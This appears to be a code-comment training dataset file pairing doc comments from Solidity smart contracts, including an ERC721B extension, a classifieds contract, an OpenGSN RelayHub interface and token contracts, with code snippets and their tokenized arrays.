[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 871, 14410, 3373, 2669, 22266, 12, 2867, 8808, 3410, 16, 1758, 8808, 17571, 264, 16, 2254, 5034, 460, 1769, 202, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0x5a08edfCC269505A42fd594F7a00288E4E40BF4b/sources/lib/ERC721B/contracts/extensions/ERC721BBurnable.sol
* @dev See {IERC721-ownerOf}./
{ if (_burned[tokenId]) revert NonExistentToken(); return super.ownerOf(tokenId); }
1,867,369
[ 1, 9704, 288, 45, 654, 39, 27, 5340, 17, 8443, 951, 5496, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 288, 203, 565, 309, 261, 67, 70, 321, 329, 63, 2316, 548, 5717, 15226, 3858, 4786, 319, 1345, 5621, 203, 565, 327, 2240, 18, 8443, 951, 12, 2316, 548, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } /** * @title Smart contract Osliki Classifieds * * @dev This is part of the Decentralized Osliki Platform (DOP). */ contract OslikiClassifieds { using SafeMath for uint; using SafeERC20 for ERC20; ERC20 public oslikToken; // OSLIK Token (OT) address (ERC20 compatible token) address public oslikiFoundation; // Osliki Foundation (OF) address uint public upPrice = 1 ether; // same decimals for OSLIK tokens uint public reward = 20 ether; // same decimals for OSLIK tokens string[] public catsRegister; Ad[] public ads; Comment[] public comments; mapping (address => uint[]) internal adsByUser; mapping (string => uint[]) internal adsByCat; event EventNewCategory(uint catId, string catName); event EventNewAd(address indexed from, uint indexed catId, uint adId); event EventEditAd(address indexed from, uint indexed catId, uint indexed adId); event EventNewComment(address indexed from, uint indexed catId, uint indexed adId, uint cmntId); event EventUpAd(address indexed from, uint indexed catId, uint indexed adId); event EventReward(address indexed to, uint reward); struct Ad { address user; uint catId; string text; uint[] comments; uint createdAt; uint updatedAt; } struct Comment { address user; uint adId; string text; uint createdAt; } constructor( ERC20 _oslikToken, address _oslikiFoundation ) public { require(address(_oslikToken) != address(0), "_oslikToken is not assigned."); require(_oslikiFoundation != address(0), "_oslikiFoundation is not assigned."); oslikToken = _oslikToken; oslikiFoundation = _oslikiFoundation; } function _newAd( uint catId, string text // format 'ipfs hash,ipfs hash...' ) private returns (bool) { require(bytes(text).length != 0, "Text is empty"); ads.push(Ad({ user: msg.sender, catId: catId, text: text, comments: new uint[](0), createdAt: now, updatedAt: now })); uint adId = ads.length - 1; adsByCat[catsRegister[catId]].push(adId); adsByUser[msg.sender].push(adId); if (adsByUser[msg.sender].length == 1 && reward > 0 && oslikToken.allowance(oslikiFoundation, address(this)) >= reward) { uint balanceOfBefore = oslikToken.balanceOf(oslikiFoundation); if (balanceOfBefore >= reward) { oslikToken.safeTransferFrom(oslikiFoundation, msg.sender, reward); uint balanceOfAfter = oslikToken.balanceOf(oslikiFoundation); assert(balanceOfAfter == balanceOfBefore.sub(reward)); emit EventReward(msg.sender, reward); } } emit EventNewAd(msg.sender, catId, adId); return true; } function newAd( uint catId, string text // format 'ipfs hash,ipfs hash...' ) public { require(catId < catsRegister.length, "Category not found"); assert(_newAd(catId, text)); } function newCatWithAd( string catName, string text // format 'ipfs hash,ipfs hash...' ) public { require(bytes(catName).length != 0, "Category is empty"); require(adsByCat[catName].length == 0, "Category already exists"); catsRegister.push(catName); uint catId = catsRegister.length - 1; emit EventNewCategory(catId, catName); assert(_newAd(catId, text)); } function editAd( uint adId, string text // format 'ipfs hash,ipfs hash...' ) public { require(adId < ads.length, "Ad id not found"); require(bytes(text).length != 0, "Text is empty"); Ad storage ad = ads[adId]; require(msg.sender == ad.user, "Sender not authorized."); //require(!_stringsEqual(ad.text, text), "New text is the same"); ad.text = text; ad.updatedAt = now; emit EventEditAd(msg.sender, ad.catId, adId); } function newComment( uint adId, string text ) public { require(adId < ads.length, "Ad id not found"); require(bytes(text).length != 0, "Text is empty"); Ad storage ad = ads[adId]; comments.push(Comment({ user: msg.sender, adId: adId, text: text, createdAt: now })); uint cmntId = comments.length - 1; ad.comments.push(cmntId); emit EventNewComment(msg.sender, ad.catId, adId, cmntId); } function upAd( uint adId ) public { require(adId < ads.length, "Ad id not found"); Ad memory ad = ads[adId]; require(msg.sender == ad.user, "Sender not authorized."); adsByCat[catsRegister[ad.catId]].push(adId); uint balanceOfBefore = oslikToken.balanceOf(oslikiFoundation); oslikToken.safeTransferFrom(msg.sender, oslikiFoundation, upPrice); uint balanceOfAfter = oslikToken.balanceOf(oslikiFoundation); assert(balanceOfAfter == balanceOfBefore.add(upPrice)); emit EventUpAd(msg.sender, ad.catId, adId); } /*function _stringsEqual(string a, string b) private pure returns (bool) { return keccak256(a) == keccak256(b); }*/ modifier onlyFoundation { require(msg.sender == oslikiFoundation, "Sender not authorized."); _; } function _changeUpPrice(uint newUpPrice) public onlyFoundation { upPrice = newUpPrice; } function _changeReward(uint newReward) public onlyFoundation { reward = newReward; } function _changeOslikiFoundation(address newAddress) public onlyFoundation { require(newAddress != address(0)); oslikiFoundation = newAddress; } function getCatsCount() public view returns (uint) { return catsRegister.length; } function getCommentsCount() public view returns (uint) { return comments.length; } function getCommentsCountByAd(uint adId) public view returns (uint) { return ads[adId].comments.length; } function getAllCommentIdsByAd(uint adId) public view returns (uint[]) { return ads[adId].comments; } function getCommentIdByAd(uint adId, uint index) public view returns (uint) { return ads[adId].comments[index]; } function getAdsCount() public view returns (uint) { return ads.length; } function getAdsCountByUser(address user) public view returns (uint) { return adsByUser[user].length; } function getAdIdByUser(address user, uint index) public view returns (uint) { return adsByUser[user][index]; } function getAllAdIdsByUser(address user) public view returns (uint[]) { return adsByUser[user]; } function getAdsCountByCat(uint catId) public view returns (uint) { return adsByCat[catsRegister[catId]].length; } function getAdIdByCat(uint catId, uint index) public view returns (uint) { return adsByCat[catsRegister[catId]][index]; } function getAllAdIdsByCat(uint catId) public view returns (uint[]) { return adsByCat[catsRegister[catId]]; } }
require(!_stringsEqual(ad.text, text), "New text is the same");
function editAd( uint adId, ) public { require(adId < ads.length, "Ad id not found"); require(bytes(text).length != 0, "Text is empty"); Ad storage ad = ads[adId]; require(msg.sender == ad.user, "Sender not authorized."); ad.text = text; ad.updatedAt = now; emit EventEditAd(msg.sender, ad.catId, adId); }
6,407,154
[ 1, 6528, 12, 5, 67, 10219, 5812, 12, 361, 18, 955, 16, 977, 3631, 315, 1908, 977, 353, 326, 1967, 8863, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 3874, 1871, 12, 203, 565, 2254, 1261, 548, 16, 203, 225, 262, 1071, 288, 203, 565, 2583, 12, 361, 548, 411, 12767, 18, 2469, 16, 315, 1871, 612, 486, 1392, 8863, 203, 565, 2583, 12, 3890, 12, 955, 2934, 2469, 480, 374, 16, 315, 1528, 353, 1008, 8863, 203, 203, 565, 4052, 2502, 1261, 273, 12767, 63, 361, 548, 15533, 203, 203, 565, 2583, 12, 3576, 18, 15330, 422, 1261, 18, 1355, 16, 315, 12021, 486, 10799, 1199, 1769, 203, 203, 565, 1261, 18, 955, 273, 977, 31, 203, 565, 1261, 18, 7007, 861, 273, 2037, 31, 203, 203, 565, 3626, 2587, 4666, 1871, 12, 3576, 18, 15330, 16, 1261, 18, 2574, 548, 16, 1261, 548, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0xEdC32fb2f04E7436E3bC6ef926a1bc2fCB3691e8/sources/_opengsn/contracts/src/interfaces/IRelayHub.sol
* @notice A struct that contains all the parameters of the `RelayHub` that can be modified after the deployment./ maximum number of worker accounts allowed per manager Gas set aside for all relayCall() instructions to prevent unexpected out-of-gas exceptions Gas overhead to calculate gasUseWithoutPost Gas cost of all relayCall() instructions after actual 'calculateCharge()' Assume that relay has non-zero balance (costs 15'000 more otherwise). Minimum unstake delay seconds of a relay manager's stake on the StakeManager Developers address 0 < fee < 100, as percentage of total charge from paymaster to relayer baseRelayFee The base fee the Relay Server charges for a single transaction in Ether, in wei. pctRelayFee The percent of the total charge to add as a Relay Server fee to the total charge.
struct RelayHubConfig { uint256 maxWorkerCount; uint256 gasReserve; uint256 postOverhead; uint256 gasOverhead; uint256 minimumUnstakeDelay; address devAddress; uint8 devFee; uint80 baseRelayFee; uint16 pctRelayFee; } address indexed relayManager, address[] newRelayWorkers, uint256 workersCount ); address indexed account, address indexed dest, uint256 amount ); address indexed paymaster, address indexed from, uint256 amount ); address token, uint256 minimumStake ); address indexed relayManager, address indexed paymaster, bytes32 indexed relayRequestID, address from, address to, address relayWorker, bytes4 selector, uint256 innerGasUsed, bytes reason ); address indexed relayManager, address indexed relayWorker, bytes32 indexed relayRequestID, address from, address to, address paymaster, bytes4 selector, RelayCallStatus status, uint256 charge ); RelayCallStatus status, bytes returnValue ); address indexed relayManager, uint256 balance );
9,466,308
[ 1, 37, 1958, 716, 1914, 777, 326, 1472, 434, 326, 1375, 27186, 8182, 68, 716, 848, 506, 4358, 1839, 326, 6314, 18, 19, 4207, 1300, 434, 4322, 9484, 2935, 1534, 3301, 31849, 444, 487, 831, 364, 777, 18874, 1477, 1435, 12509, 358, 5309, 9733, 596, 17, 792, 17, 31604, 4798, 31849, 23188, 358, 4604, 16189, 3727, 8073, 3349, 31849, 6991, 434, 777, 18874, 1477, 1435, 12509, 1839, 3214, 296, 11162, 17649, 11866, 15983, 716, 18874, 711, 1661, 17, 7124, 11013, 261, 12398, 87, 4711, 11, 3784, 1898, 3541, 2934, 23456, 640, 334, 911, 4624, 3974, 434, 279, 18874, 3301, 1807, 384, 911, 603, 326, 934, 911, 1318, 1505, 8250, 414, 1758, 374, 411, 14036, 411, 2130, 16, 487, 11622, 434, 2078, 13765, 628, 8843, 7525, 358, 1279, 1773, 1026, 27186, 14667, 1021, 1026, 14036, 326, 4275, 528, 3224, 1149, 2852, 364, 279, 2202, 2492, 316, 512, 1136, 16, 316, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 565, 1958, 4275, 528, 8182, 809, 288, 203, 3639, 2254, 5034, 943, 6671, 1380, 31, 203, 3639, 2254, 5034, 16189, 607, 6527, 31, 203, 3639, 2254, 5034, 1603, 4851, 1978, 31, 203, 3639, 2254, 5034, 16189, 4851, 1978, 31, 203, 3639, 2254, 5034, 5224, 984, 334, 911, 6763, 31, 203, 3639, 1758, 4461, 1887, 31, 203, 3639, 2254, 28, 4461, 14667, 31, 203, 3639, 2254, 3672, 1026, 27186, 14667, 31, 203, 3639, 2254, 2313, 19857, 27186, 14667, 31, 203, 565, 289, 203, 203, 203, 3639, 1758, 8808, 18874, 1318, 16, 203, 3639, 1758, 8526, 394, 27186, 15252, 16, 203, 3639, 2254, 5034, 9798, 1380, 203, 565, 11272, 203, 203, 3639, 1758, 8808, 2236, 16, 203, 3639, 1758, 8808, 1570, 16, 203, 3639, 2254, 5034, 3844, 203, 565, 11272, 203, 203, 3639, 1758, 8808, 8843, 7525, 16, 203, 3639, 1758, 8808, 628, 16, 203, 3639, 2254, 5034, 3844, 203, 565, 11272, 203, 203, 3639, 1758, 1147, 16, 203, 3639, 2254, 5034, 5224, 510, 911, 203, 565, 11272, 203, 203, 3639, 1758, 8808, 18874, 1318, 16, 203, 3639, 1758, 8808, 8843, 7525, 16, 203, 3639, 1731, 1578, 8808, 18874, 691, 734, 16, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 1758, 18874, 6671, 16, 203, 3639, 1731, 24, 3451, 16, 203, 3639, 2254, 5034, 3443, 27998, 6668, 16, 203, 3639, 1731, 3971, 203, 565, 11272, 203, 203, 3639, 1758, 8808, 18874, 1318, 16, 203, 3639, 1758, 8808, 18874, 6671, 16, 203, 3639, 1731, 1578, 8808, 18874, 691, 734, 16, 203, 3639, 1758, 2 ]
./partial_match/1/0xA0244AfBC4d0366eEBbd4cBfcF82CE49547D8eaa/sources/TAMAG2.sol
equip -> tamag -> slot
mapping (uint256 => mapping(uint256 => uint256)) equippedToTamagSlot;
3,650,896
[ 1, 14298, 625, 317, 268, 301, 346, 317, 4694, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2874, 261, 11890, 5034, 516, 2874, 12, 11890, 5034, 516, 2254, 5034, 3719, 1298, 625, 1845, 774, 56, 301, 346, 8764, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x763e361fC5118DbC226E804E351F0FcD97621D35/sources/ThinuToken.sol
uint256 centiBuyTax; uint256 centiSellTax;
struct LimitInitialParams { address thinuWallet; uint256 maxTxPercent; uint256 maxWalletPercent; } constructor( string memory name_, string memory symbol_, uint256 supply_, uint8 decimals_, LimitInitialParams memory parameters, RefDividend memory dividendInfo_
3,711,093
[ 1, 11890, 5034, 8301, 17632, 9835, 7731, 31, 2254, 5034, 8301, 77, 55, 1165, 7731, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1958, 7214, 4435, 1370, 288, 203, 3639, 1758, 286, 6860, 16936, 31, 203, 3639, 2254, 5034, 943, 4188, 8410, 31, 203, 3639, 2254, 5034, 943, 16936, 8410, 31, 203, 565, 289, 203, 203, 565, 3885, 12, 203, 3639, 533, 3778, 508, 67, 16, 203, 3639, 533, 3778, 3273, 67, 16, 203, 3639, 2254, 5034, 14467, 67, 16, 203, 3639, 2254, 28, 15105, 67, 16, 203, 3639, 7214, 4435, 1370, 3778, 1472, 16, 203, 3639, 3941, 7244, 26746, 3778, 31945, 966, 67, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/137/0x308dC032417Bb4b9A79606A6c61Fce3c375cF6D5/sources/interfaces/IRelay.sol
@title The interface for Graviton relay contract @notice Trades native tokens for gton to start crosschain swap, trades gton for native tokens to compelete crosschain swap @author Artemij Artamonov - <[email protected]> @author Anton Davydov - <[email protected]>
